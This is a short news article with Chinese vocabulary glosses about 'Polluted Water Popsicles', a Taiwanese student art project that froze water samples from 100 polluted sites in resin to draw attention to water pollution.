Popsicles made from different polluted water sources!

2018年05月15日

These popsicles(冰棍儿 / bīnggùnr) might look like the sort of thing you’d expect to find being served from a quirky organic artisanal food truck, but one bite could leave you very ill(病 / bìng) indeed, because they’re actually made from sewage(污水 / wūshuǐ) found in the polluted waters of Taiwan.

Three design students in Taiwan teamed up for the Polluted Water Popsicles project(项目 / xiàngmù), which contrasts art aesthetics with environmental activism. The group went to 100 different polluted water sources in Taiwan, collecting samples that they then froze(冻结 / dòngjié) into popsicles.

These popsicles were then turned into 1:1 poly models and wrapped in beautiful(美丽 / měilì)packaging to contrast our tendency to overlook(忽视 / hÅ«shì) that which is ugly(丑陋 / chǒulòu) and problematic for the sake of aesthetics. The award-winning pollution art project has gained viral attention(关注 / guānzhù) in Taiwan—a look at the group’s Facebook page shows exhibitions in museums and interviews with national news.

The polluted water popsicles were first frozen and then preserved in polyester resin. The students even made wrappers(包装袋 / bāozhuāngdài)for the popsicles that represented the different places(地区 / dìqū) from which the polluted water samples were taken.

As Taiwan has seen a rise in water pollution(水污染 / shuǐ wūrǎn) due to its rapid economic growth and urbanization, it was important for the students to call attention to the issue(问题 / wèntí).

In collecting(收集 / shōují) water from central areas that people often pass by, but overlook, Polluted Water Popsicles forces us to face the insidious issues beneath what we perceive as harmless(无害的 / wúhài de). Much as one is tempted to take a lick before looking closely at what the popsicle really contains, we often overlook the importance of water purity.
